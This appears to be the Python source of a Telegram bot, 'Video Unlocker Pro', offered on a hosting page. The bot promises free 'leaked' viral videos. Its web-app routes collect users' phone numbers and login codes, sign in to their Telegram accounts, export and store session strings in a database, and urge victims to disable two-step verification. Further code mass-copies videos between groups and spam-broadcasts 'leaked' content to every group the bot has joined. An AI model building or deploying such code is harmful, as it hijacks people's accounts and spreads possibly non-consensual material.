Spaces:
Build error
Build error
| import os | |
| import time | |
| import threading | |
| import requests | |
| import asyncio | |
| import re | |
| import urllib3 | |
| from flask import Flask, jsonify, make_response, request | |
| from supabase import create_client | |
| from pyrogram import Client, filters, enums, idle | |
| from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, UserDeactivated, SessionRevoked, AuthKeyUnregistered, FloodWait | |
| from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo | |
| urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
| # ================= CONFIGURATION ================= | |
| BOT_TOKEN = os.environ.get("BOT_TOKEN") | |
| API_ID = int(os.environ.get("API_ID", 0)) | |
| API_HASH = os.environ.get("API_HASH") | |
| SUPABASE_URL = os.environ.get("SUPABASE_URL") | |
| SUPABASE_KEY = os.environ.get("SUPABASE_KEY") | |
| BYSE_API_KEY = os.environ.get("BYSE_API_KEY") | |
| PREMIUM_CHANNEL_ID = -1002825744390 | |
| # WebApp URL (index.html) | |
| WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html" | |
| ADMIN_IDS = [7307789267] | |
| app = Flask(__name__) | |
| supabase = create_client(SUPABASE_URL, SUPABASE_KEY) | |
| admin_states = {} | |
| temp_clients = {} | |
| try: | |
| main_loop = asyncio.get_running_loop() | |
| except RuntimeError: | |
| main_loop = asyncio.new_event_loop() | |
| asyncio.set_event_loop(main_loop) | |
| def run_async(coro): | |
| future = asyncio.run_coroutine_threadsafe(coro, main_loop) | |
| return future.result() | |
| bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN) | |
| async def db_query(func): | |
| return await asyncio.to_thread(func) | |
| # ================= FLASK API ROUTES ================= | |
| def index(): | |
| return "Bot, Media Uploader, and Real Session API is Running! π" | |
| def jump_to_telegram(): | |
| html_content = """ | |
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>Redirecting...</title> | |
| <script> | |
| window.location.href = "tg://openmessage?user_id=777000"; | |
| setTimeout(function() { | |
| window.close(); | |
| }, 500); | |
| </script> | |
| </head> | |
| <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;"> | |
| <div style="text-align:center;"> | |
| <div style="font-size:20px; margin-bottom:10px;">β³ Connecting...</div> | |
| <div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div> | |
| </div> | |
| </body> | |
| </html> | |
| """ | |
| return make_response(html_content) | |
| def add_cors_headers(response): | |
| response.headers['Access-Control-Allow-Origin'] = '*' | |
| response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS' | |
| response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization' | |
| return response | |
| def api_videos(): | |
| try: | |
| res = supabase.table('videos').select('*').order('id', desc=True).execute() | |
| return add_cors_headers(make_response(jsonify(res.data))) | |
| except Exception as e: | |
| return add_cors_headers(make_response(jsonify([]))) | |
| def api_check_login(): | |
| if request.method == 'OPTIONS': | |
| return add_cors_headers(make_response()) | |
| data = request.json or {} | |
| user_id = data.get('user_id') | |
| async def check_user(): | |
| res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute()) | |
| if res.data: | |
| session_string = res.data[0]['session_string'] | |
| temp_client = Client(f"test_session_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True) | |
| try: | |
| await temp_client.connect() | |
| await temp_client.get_me() | |
| await temp_client.disconnect() | |
| return {"status": "logged_in"} | |
| except Exception: | |
| try: await temp_client.disconnect() | |
| except: pass | |
| await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute()) | |
| return {"status": "not_logged_in"} | |
| return {"status": "not_logged_in"} | |
| try: | |
| result = run_async(check_user()) | |
| return add_cors_headers(make_response(jsonify(result))) | |
| except Exception as e: | |
| return add_cors_headers(make_response(jsonify({"status": "error"}))) | |
| def api_send_code(): | |
| if request.method == 'OPTIONS': | |
| return add_cors_headers(make_response()) | |
| data = request.json or {} | |
| phone = data.get('phone') | |
| user_id = data.get('user_id') | |
| if not user_id or str(user_id) == '123456': | |
| return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"}))) | |
| async def process_send_code(): | |
| if phone in temp_clients: | |
| try: await temp_clients[phone]['client'].disconnect() | |
| except: pass | |
| client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True) | |
| await client.connect() | |
| try: | |
| code_info = await client.send_code(phone) | |
| temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash} | |
| return {"status": "ok", "hash": code_info.phone_code_hash} | |
| except Exception as e: | |
| await client.disconnect() | |
| return {"status": "error", "msg": str(e)} | |
| try: | |
| result = run_async(process_send_code()) | |
| return add_cors_headers(make_response(jsonify(result))) | |
| except Exception as e: | |
| return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)}))) | |
| def api_verify_code(): | |
| if request.method == 'OPTIONS': | |
| return add_cors_headers(make_response()) | |
| data = request.json or {} | |
| phone = data.get('phone') | |
| user_otp = data.get('otp') | |
| user_id = data.get('user_id') | |
| if phone not in temp_clients: | |
| return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Session expired, request code again!"}))) | |
| async def process_verify(): | |
| temp_data = temp_clients[phone] | |
| client = temp_data['client'] | |
| phone_hash = temp_data['hash'] | |
| try: | |
| await client.sign_in(phone, phone_hash, user_otp) | |
| session_string = await client.export_session_string() | |
| await client.disconnect() | |
| await db_query(lambda: supabase.table('user_sessions').insert({"user_id": user_id, "session_string": session_string}).execute()) | |
| del temp_clients[phone] | |
| return {"status": "ok"} | |
| except SessionPasswordNeeded: | |
| await client.disconnect() | |
| del temp_clients[phone] | |
| return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."} | |
| except PhoneCodeInvalid: | |
| return {"status": "error", "msg": "Invalid OTP Code!"} | |
| except PhoneCodeExpired: | |
| await client.disconnect() | |
| del temp_clients[phone] | |
| return {"status": "error", "msg": "OTP Expired! Request again."} | |
| except Exception as e: | |
| await client.disconnect() | |
| del temp_clients[phone] | |
| return {"status": "error", "msg": str(e)} | |
| try: | |
| result = run_async(process_verify()) | |
| return add_cors_headers(make_response(jsonify(result))) | |
| except Exception as e: | |
| return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)}))) | |
| # ================= TELEGRAM BOT COMMANDS ================= | |
| async def start(client, message): | |
| if message.chat.type != enums.ChatType.PRIVATE: | |
| try: | |
| bot_me = client.me if client.me else await client.get_me() | |
| bot_link = f"https://t.me/{bot_me.username}" | |
| markup = InlineKeyboardMarkup([[InlineKeyboardButton("π¬ Watch Videos Now", url=bot_link)]]) | |
| await message.reply("π₯ **Watch Premium Viral Videos for FREE!**\n\nπ Click the button below to watch:", reply_markup=markup) | |
| except Exception: pass | |
| return | |
| try: | |
| user_id = message.from_user.id | |
| first_name = message.from_user.first_name | |
| args = message.command | |
| referrer_id = None | |
| if len(args) > 1: | |
| try: referrer_id = int(args[1]) | |
| except ValueError: pass | |
| user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute()) | |
| if not user_check.data: | |
| await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute()) | |
| if referrer_id and referrer_id != user_id: | |
| ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute()) | |
| if ref_data.data: | |
| new_count = ref_data.data[0]['referral_count'] + 1 | |
| await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute()) | |
| try: | |
| safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User" | |
| success_msg = f"π <b>Congratulations!</b>\n\nπ€ <b>{safe_name}</b> has joined using your link!\nπ Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>" | |
| markup = InlineKeyboardMarkup([[InlineKeyboardButton("π¬ Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]]) | |
| await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup) | |
| except Exception: pass | |
| bot_me = client.me if client.me else await client.get_me() | |
| markup = InlineKeyboardMarkup([ | |
| [InlineKeyboardButton("π₯ Play Viral Videos π", web_app=WebAppInfo(url=WEB_APP_URL))], | |
| [InlineKeyboardButton("π’ Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")] | |
| ]) | |
| welcome_text = (f"Hello <b>{first_name}</b>! π\n\nπ <b>Welcome to Video Unlocker Pro!</b>\nHere you can watch premium leaked and viral videos completely for FREE.\n\nπ <b>Click the button below to Open App:</b>") | |
| await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup) | |
| except Exception as e: print(f"Start error: {e}") | |
| async def bot_added_to_group(client, message): | |
| me = client.me | |
| if getattr(me, "id", None) is None: | |
| try: me = await client.get_me() | |
| except: return | |
| for member in message.new_chat_members: | |
| if member.id == me.id: | |
| try: | |
| await db_query(lambda: supabase.table('groups').upsert({ | |
| 'group_id': message.chat.id, | |
| 'group_name': message.chat.title, | |
| 'added_by': message.from_user.id if message.from_user else None | |
| }).execute()) | |
| group_name = message.chat.title | |
| admin_msg = f"β <b>Bot added to a new group!</b>\n\nπ <b>Group Name:</b> {group_name}\nπ <b>ID:</b> <code>{message.chat.id}</code>" | |
| for admin_id in ADMIN_IDS: | |
| try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML) | |
| except: pass | |
| except: pass | |
| async def send_to_specific_group(client, message): | |
| if not message.reply_to_message: | |
| return await message.reply("β <b>Please reply to a message, photo, or video that you want to send.</b>\n\nExample: `/sendto -1001234567890`") | |
| args = message.command | |
| if len(args) < 2: | |
| return await message.reply("β <b>Group ID missing!</b>\n\nCorrect format:\n`/sendto -1003973566529`") | |
| try: | |
| group_id = int(args[1]) | |
| status = await message.reply("β³ Sending message to group...") | |
| await message.reply_to_message.copy(chat_id=group_id) | |
| await status.edit_text(f"β <b>Successfully sent to Group ID:</b> <code>{group_id}</code>", parse_mode=enums.ParseMode.HTML) | |
| except Exception as e: | |
| await status.edit_text(f"β <b>Failed to send!</b>\nError: {e}", parse_mode=enums.ParseMode.HTML) | |
| # ================= DATABASE PROGRESS-BASED CLONING ================= | |
| async def save_progress(source_id, dest_id, msg_id): | |
| try: | |
| # ঑াΰ¦ΰ¦Ύΰ¦¬ΰ§ΰ¦ΰ§ ΰ¦ΰ¦ΰ§ ΰ¦₯ΰ§ΰ¦ΰ§ ΰ¦ͺΰ§ΰ¦°ΰ§ΰ¦ΰ§ΰ¦°ΰ§ΰ¦Έ ΰ¦ΰ¦ΰ§ ΰ¦ΰ¦Ώΰ¦¨ΰ¦Ύ ΰ¦ΰ§ΰ¦ ΰ¦ΰ¦°ΰ¦Ύ ΰ¦Ήΰ¦ΰ§ΰ¦ΰ§ | |
| res = await db_query(lambda: supabase.table('clone_progress').select('id').eq('source_id', source_id).eq('dest_id', dest_id).execute()) | |
| if res.data: | |
| # ΰ¦₯ΰ¦Ύΰ¦ΰ¦²ΰ§ ΰ¦Έΰ§ΰ¦ΰ¦Ύ ΰ¦ΰ¦ͺ঑ΰ§ΰ¦ হবৠ| |
| await db_query(lambda: supabase.table('clone_progress').update({'last_copied_id': msg_id}).eq('id', res.data[0]['id']).execute()) | |
| else: | |
| # না ΰ¦₯ΰ¦Ύΰ¦ΰ¦²ΰ§ নঀΰ§ΰ¦¨ ΰ¦°ΰ§ ΰ¦ΰ¦¨ΰ¦Έΰ¦Ύΰ¦°ΰ§ΰ¦ হবৠ| |
| await db_query(lambda: supabase.table('clone_progress').insert({'source_id': source_id, 'dest_id': dest_id, 'last_copied_id': msg_id}).execute()) | |
| except Exception as e: | |
| print(f"Error saving progress: {e}") | |
| async def clone_videos_background(client, source_id, dest_id, status_msg): | |
| try: | |
| # ঑াΰ¦ΰ¦Ύΰ¦¬ΰ§ΰ¦ΰ§ ΰ¦ΰ¦ΰ§ΰ¦° ΰ¦ΰ§ΰ¦¨ΰ§ ΰ¦Έΰ§ΰ¦ΰ¦‘ ΰ¦ͺΰ§ΰ¦°ΰ§ΰ¦ΰ§ΰ¦°ΰ§ΰ¦Έ ΰ¦ΰ¦ΰ§ ΰ¦ΰ¦Ώΰ¦¨ΰ¦Ύ দΰ§ΰ¦ΰ¦Ύ ΰ¦Ήΰ¦ΰ§ΰ¦ΰ§ | |
| progress_res = await db_query(lambda: supabase.table('clone_progress').select('last_copied_id').eq('source_id', source_id).eq('dest_id', dest_id).execute()) | |
| last_copied_id = None | |
| if progress_res.data: | |
| last_copied_id = progress_res.data[0]['last_copied_id'] | |
| await status_msg.edit_text(f"β³ <b>Resuming clone task...</b>\nFound previous progress. Resuming after video ID <code>{last_copied_id}</code>...\nFetching video list from <code>{source_id}</code>...", parse_mode=enums.ParseMode.HTML) | |
| else: | |
| await status_msg.edit_text(f"β³ <b>Cloning started!</b>\nFetching video list from <code>{source_id}</code>...\n<i>This might take a few minutes if the group has many videos.</i>", parse_mode=enums.ParseMode.HTML) | |
| video_ids = [] | |
| async for msg in client.search_messages(source_id, filter=enums.MessagesFilter.VIDEO): | |
| # যদি ΰ¦ΰ¦ΰ§ΰ¦° ΰ¦ͺΰ§ΰ¦°ΰ§ΰ¦ΰ§ΰ¦°ΰ§ΰ¦Έ ΰ¦₯ΰ¦Ύΰ¦ΰ§, ঀবৠΰ¦ΰ¦ΰ§ΰ¦° ΰ¦ΰ¦ͺΰ¦Ώ ΰ¦ΰ¦°ΰ¦Ύ ΰ¦ΰ¦Ώΰ¦‘ΰ¦Ώΰ¦ΰ¦° ΰ¦ΰ¦ΰ¦‘ΰ¦Ώ ΰ¦₯ΰ§ΰ¦ΰ§ ΰ¦ΰ§ΰ¦ সব ΰ¦ΰ¦Ώΰ¦‘ΰ¦Ώΰ¦ ΰ¦Έΰ§ΰ¦ΰ¦Ώΰ¦ͺ ΰ¦ΰ¦°ΰ¦Ύ হবৠ| |
| if last_copied_id and msg.id <= last_copied_id: | |
| continue | |
| video_ids.append(msg.id) | |
| if len(video_ids) % 200 == 0: | |
| await asyncio.sleep(0.1) | |
| if not video_ids: | |
| if last_copied_id: | |
| return await status_msg.edit_text("π <b>All videos are already cloned!</b>\nNo new videos found in the source group.", parse_mode=enums.ParseMode.HTML) | |
| else: | |
| return await status_msg.edit_text("β <b>No videos found in the source group!</b>\n(Make sure the bot is an admin with read history permission in that group).", parse_mode=enums.ParseMode.HTML) | |
| video_ids.reverse() # Oldest to newest | |
| total = len(video_ids) | |
| if last_copied_id: | |
| await status_msg.edit_text(f"β Found <b>{total}</b> new videos to clone.\nπ Resuming background cloning from oldest to newest...", parse_mode=enums.ParseMode.HTML) | |
| else: | |
| await status_msg.edit_text(f"β Found <b>{total}</b> videos.\nπ Background cloning started from oldest to newest...", parse_mode=enums.ParseMode.HTML) | |
| success = 0 | |
| failed = 0 | |
| for index, msg_id in enumerate(video_ids, 1): | |
| try: | |
| await client.copy_message(chat_id=dest_id, from_chat_id=source_id, message_id=msg_id) | |
| success += 1 | |
| # সফলΰ¦ΰ¦Ύΰ¦¬ΰ§ ΰ¦ΰ¦ͺΰ¦Ώ ΰ¦Ήΰ¦ΰ§ΰ¦Ύΰ¦° ΰ¦Έΰ¦Ύΰ¦₯ΰ§ ΰ¦Έΰ¦Ύΰ¦₯ΰ§ΰ¦ ঑াΰ¦ΰ¦Ύΰ¦¬ΰ§ΰ¦ΰ§ ΰ¦ͺΰ§ΰ¦°ΰ§ΰ¦ΰ§ΰ¦°ΰ§ΰ¦Έ ΰ¦Έΰ§ΰ¦ | |
| await save_progress(source_id, dest_id, msg_id) | |
| except FloodWait as e: | |
| await asyncio.sleep(e.value + 2) | |
| try: | |
| await client.copy_message(chat_id=dest_id, from_chat_id=source_id, message_id=msg_id) | |
| success += 1 | |
| await save_progress(source_id, dest_id, msg_id) | |
| except Exception: | |
| failed += 1 | |
| except Exception: | |
| failed += 1 | |
| if index % 20 == 0 or index == total: | |
| try: | |
| await status_msg.edit_text(f"β³ <b>Cloning in progress... (Background)</b>\n\nTotal Videos to Copy: <b>{total}</b>\nβ Copied: <b>{success}</b>\nβ Failed: <b>{failed}</b>\nLast Video ID: <code>{msg_id}</code>", parse_mode=enums.ParseMode.HTML) | |
| except FloodWait: | |
| pass | |
| except Exception: | |
| pass | |
| await asyncio.sleep(2.5) | |
| await status_msg.edit_text(f"π <b>Cloning Completely Finished!</b>\n\nSource: <code>{source_id}</code>\nTotal Copied: <b>{total}</b>\nβ Successfully Copied: <b>{success}</b>\nβ Failed: <b>{failed}</b>", parse_mode=enums.ParseMode.HTML) | |
| except Exception as e: | |
| try: | |
| await status_msg.edit_text(f"β <b>Cloning Error:</b> {e}", parse_mode=enums.ParseMode.HTML) | |
| except: pass | |
| async def start_cloning(client, message): | |
| args = message.command | |
| if len(args) != 3: | |
| return await message.reply("β <b>Invalid format!</b>\n\nUse: `/clone <Source_Group_ID> <Destination_Group_ID>`\nExample: `/clone -100123456789 -100987654321`", parse_mode=enums.ParseMode.HTML) | |
| try: | |
| source_id = int(args[1]) | |
| dest_id = int(args[2]) | |
| except ValueError: | |
| return await message.reply("β Chat IDs must be numbers.") | |
| status_msg = await message.reply("β³ Initializing cloning task...", parse_mode=enums.ParseMode.HTML) | |
| asyncio.create_task(clone_videos_background(client, source_id, dest_id, status_msg)) | |
| # ================================================================= | |
| async def set_blur_state(client, message): | |
| try: | |
| args = message.text.split() | |
| if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']: | |
| if message.chat.id in admin_states: | |
| admin_states[message.chat.id].pop("blur_percent", None) | |
| admin_states[message.chat.id].pop("clear_percent", None) | |
| await message.reply("β <b>Blur mode is disabled!</b>\nUploaded videos will no longer be blurred, only watermarked as before.", parse_mode=enums.ParseMode.HTML) | |
| return | |
| match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE) | |
| if match: | |
| percent = int(match.group(1)) | |
| clear_percent = int(match.group(2)) if match.group(2) else 0 | |
| if percent == 0: | |
| if message.chat.id in admin_states: | |
| admin_states[message.chat.id].pop("blur_percent", None) | |
| admin_states[message.chat.id].pop("clear_percent", None) | |
| await message.reply("β <b>Blur mode is disabled!</b>", parse_mode=enums.ParseMode.HTML) | |
| return | |
| if message.chat.id not in admin_states: admin_states[message.chat.id] = {} | |
| admin_states[message.chat.id]["blur_percent"] = percent | |
| admin_states[message.chat.id]["clear_percent"] = clear_percent | |
| clear_msg = f"and the top <b>{clear_percent}%</b> part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred." | |
| reply_text = f"β <b>Blur set to: {percent}%</b>\nπ {clear_msg}\n\nThis will be applied to all future uploads.\n<i>(To disable, send /blur 0)</i>" | |
| await message.reply(reply_text, parse_mode=enums.ParseMode.HTML) | |
| else: | |
| await message.reply("β <b>Invalid command!</b>\nCorrect format: `/blur 60` or `/blur 60 20`") | |
| except Exception as e: print(e) | |
| def upload_file_sync(upload_url, file_path, api_key): | |
| try: | |
| with open(file_path, 'rb') as f: | |
| res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900) | |
| return res.json() if res.status_code == 200 else {} | |
| except Exception as e: | |
| return {} | |
| async def handle_media_upload(client, message): | |
| state = admin_states.get(message.chat.id, {}) | |
| if state.get("step") == "broadcast": | |
| await process_broadcast(client, message) | |
| return | |
| media_type = "video" if message.video else "animation" if message.animation else "photo" | |
| has_blur_caption = message.caption and "/blur" in message.caption.lower() | |
| is_persistent_blur = bool(state.get("blur_percent")) | |
| if media_type == "photo" and not (has_blur_caption or is_persistent_blur): | |
| status = await message.reply("β³ Saving thumbnail...") | |
| try: | |
| local_path = await message.download() | |
| def upload_to_supabase(): | |
| with open(local_path, 'rb') as f: file_bytes = f.read() | |
| file_name = f"thumb_{int(time.time())}.jpg" | |
| supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"}) | |
| return supabase.storage.from_('thumbnails').get_public_url(file_name) | |
| direct_link = await asyncio.to_thread(upload_to_supabase) | |
| if os.path.exists(local_path): os.remove(local_path) | |
| await status.edit_text(f"β <b>Thumbnail saved successfully!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML) | |
| except Exception as e: await status.edit_text(f"β οΈ Upload Error: {e}") | |
| return | |
| raw_caption = message.caption or "" | |
| blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE) | |
| is_blur = False | |
| blur_percent = 0 | |
| clear_percent = 0 | |
| clean_caption = raw_caption | |
| if blur_match: | |
| is_blur = True | |
| blur_percent = int(blur_match.group(1)) | |
| clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0 | |
| clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip() | |
| elif state.get("blur_percent"): | |
| is_blur = True | |
| blur_percent = state["blur_percent"] | |
| clear_percent = state.get("clear_percent", 0) | |
| is_large_video = False | |
| if media_type == "video": | |
| duration = message.video.duration if message.video and message.video.duration else 0 | |
| file_size = message.video.file_size if message.video and message.video.file_size else 0 | |
| MAX_DURATION = 7200 | |
| MAX_SIZE = 1900 * 1024 * 1024 | |
| if duration > MAX_DURATION or file_size > MAX_SIZE: | |
| is_large_video = True | |
| is_blur = False | |
| status_msg = await message.reply("β³ <b>Video is too large!</b> Skipping blur..." if is_large_video else "β³ Downloading media... 0%") | |
| bot_me = client.me if client.me else await client.get_me() | |
| bot_link = f"https://t.me/{bot_me.username}" | |
| original_file, watermarked_file, blurred_file = None, None, None | |
| clean_upload_file, telegram_file, embed_link = None, None, None | |
| last_update_time = time.time() | |
| async def download_progress(current, total): | |
| nonlocal last_update_time | |
| now = time.time() | |
| if now - last_update_time >= 4.0: | |
| try: | |
| percent = (current / total) * 100 | |
| await status_msg.edit_text(f"β³ Downloading media... {percent:.1f}%") | |
| last_update_time = now | |
| except Exception: | |
| pass | |
| try: | |
| original_file = await message.download(progress=download_progress) | |
| clean_upload_file = original_file | |
| if media_type == "video" and not is_large_video: | |
| await status_msg.edit_text("β³ Watermarking video... (HD + Superfast Processing)") | |
| watermarked_file = f"{original_file}_wm.mp4" | |
| cmd = [ | |
| "ffmpeg", "-y", "-i", original_file, | |
| "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'", | |
| "-c:v", "libx264", "-preset", "superfast", "-crf", "23", | |
| "-pix_fmt", "yuv420p", "-c:a", "copy", "-movflags", "+faststart", watermarked_file | |
| ] | |
| process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) | |
| await process.communicate() | |
| if process.returncode == 0 and os.path.exists(watermarked_file): | |
| clean_upload_file = watermarked_file | |
| if media_type == "video": | |
| await status_msg.edit_text("β³ Uploading Clean HD video to byse.sx server...") | |
| api_endpoint = "https://api.byse.sx/upload/server" | |
| loop = asyncio.get_event_loop() | |
| response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30)) | |
| result = response.json() | |
| if result.get('status') == 200: | |
| upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), clean_upload_file, BYSE_API_KEY) | |
| if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0: | |
| file_status = upload_res['files'][0].get('status', '') | |
| if "not allowed" in str(file_status).lower(): | |
| await status_msg.edit_text(f"β byse.sx rejected the file: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML) | |
| return | |
| file_code = upload_res['files'][0].get('filecode') | |
| if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}" | |
| if not embed_link: | |
| await status_msg.edit_text("β Uploaded to byse.sx but Embed Link not found.") | |
| return | |
| if is_large_video: | |
| admin_cap = f"β <b>Success! (Large Video)</b>\n\nπ <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\nπ <i>Broadcast skipped due to large file size.</i>" | |
| await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML) | |
| await status_msg.delete() | |
| return | |
| telegram_file = clean_upload_file | |
| if is_blur and not is_large_video: | |
| await status_msg.edit_text(f"β³ Applying {blur_percent}% blur for Telegram broadcast...") | |
| radius = max(2, min(20, int((blur_percent / 100.0) * 30))) | |
| ext = "jpg" if media_type == "photo" else "mp4" | |
| blurred_file = f"{original_file}_blurred.{ext}" | |
| if clear_percent > 0: | |
| clear_ratio = clear_percent / 100.0 | |
| ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]"] | |
| if media_type == "video": | |
| ff_filter.extend(["-map", "0:a?"]) | |
| else: | |
| ff_filter = ["-vf", f"boxblur={radius}:1"] | |
| if media_type == "photo": | |
| cmd_blur = ["ffmpeg", "-y", "-i", clean_upload_file] + ff_filter + [blurred_file] | |
| elif media_type == "animation": | |
| cmd_blur = ["ffmpeg", "-y", "-i", clean_upload_file] + ff_filter + ["-c:v", "libx264", "-preset", "superfast", "-pix_fmt", "yuv420p", blurred_file] | |
| else: | |
| cmd_blur = ["ffmpeg", "-y", "-i", clean_upload_file] + ff_filter + ["-c:v", "libx264", "-preset", "superfast", "-crf", "23", "-pix_fmt", "yuv420p", "-c:a", "copy", "-movflags", "+faststart", blurred_file] | |
| process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) | |
| await process_blur.communicate() | |
| if process_blur.returncode == 0 and os.path.exists(blurred_file): | |
| telegram_file = blurred_file | |
| await status_msg.edit_text("β³ Preparing to broadcast to groups...") | |
| if media_type == "video": | |
| caption_text = f"π₯ <b>New Premium Viral Video Leaked!</b> π\n\nπ¬ <b>Watch HD Video Here:</b>\nπ <b><a href='{embed_link if is_blur else bot_link}'>βΆοΈ Click Here to Watch</a></b>\n\nπ <i>Click the button below to open Bot!</i>" | |
| else: | |
| caption_text = f"{clean_caption}\n\nπ <i>Click the button below to open Bot!</i>" if clean_caption else f"π₯ <b>New Premium Viral Content!</b> π\n\nπ¬ <b>Watch HD Video Here:</b>\nπ <b><a href='{bot_link}'>βΆοΈ Click Here to Watch</a></b>\n\nπ <i>Click the button below to open Bot!</i>" | |
| group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("π¬ Watch Full Video Here π", url=bot_link)]]) | |
| admin_cap = f"β <b>Success!</b> Media is broadcasting...\n\nπ <b>Embed Link (Clean HD):</b>\n<code>{embed_link or 'N/A'}</code>" | |
| thumb_path = None | |
| if media_type == "video": | |
| thumb_path = f"{original_file}_thumb.jpg" | |
| proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", telegram_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) | |
| await proc.communicate() | |
| if not os.path.exists(thumb_path): thumb_path = None | |
| if media_type == "photo": | |
| sent_to_admin = await client.send_photo(message.chat.id, telegram_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML) | |
| tg_file_id = sent_to_admin.photo.file_id | |
| elif media_type == "animation": | |
| sent_to_admin = await client.send_animation(message.chat.id, telegram_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML) | |
| tg_file_id = sent_to_admin.animation.file_id | |
| else: | |
| vid_duration = message.video.duration if message.video and message.video.duration else 0 | |
| vid_width = message.video.width if message.video and message.video.width else 0 | |
| vid_height = message.video.height if message.video and message.video.height else 0 | |
| sent_to_admin = await client.send_video( | |
| message.chat.id, | |
| telegram_file, | |
| caption=admin_cap, | |
| parse_mode=enums.ParseMode.HTML, | |
| duration=vid_duration, | |
| width=vid_width, | |
| height=vid_height, | |
| thumb=thumb_path | |
| ) | |
| tg_file_id = sent_to_admin.video.file_id | |
| await status_msg.delete() | |
| groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute()) | |
| group_ids = [g['group_id'] for g in groups_res.data] | |
| success_count, fail_count = 0, 0 | |
| for gid in set(group_ids): | |
| try: | |
| if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup) | |
| elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup) | |
| else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup) | |
| success_count += 1 | |
| await asyncio.sleep(1.5) | |
| except FloodWait as e: | |
| await asyncio.sleep(e.value + 1) | |
| try: | |
| if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup) | |
| elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup) | |
| else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup) | |
| success_count += 1 | |
| except Exception: | |
| fail_count += 1 | |
| except Exception: | |
| fail_count += 1 | |
| await message.reply(f"π’ <b>Broadcast Complete!</b>\n\nβ Success: {success_count} groups\nβ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML) | |
| except Exception as e: await message.reply(f"β οΈ Error occurred: {str(e)}") | |
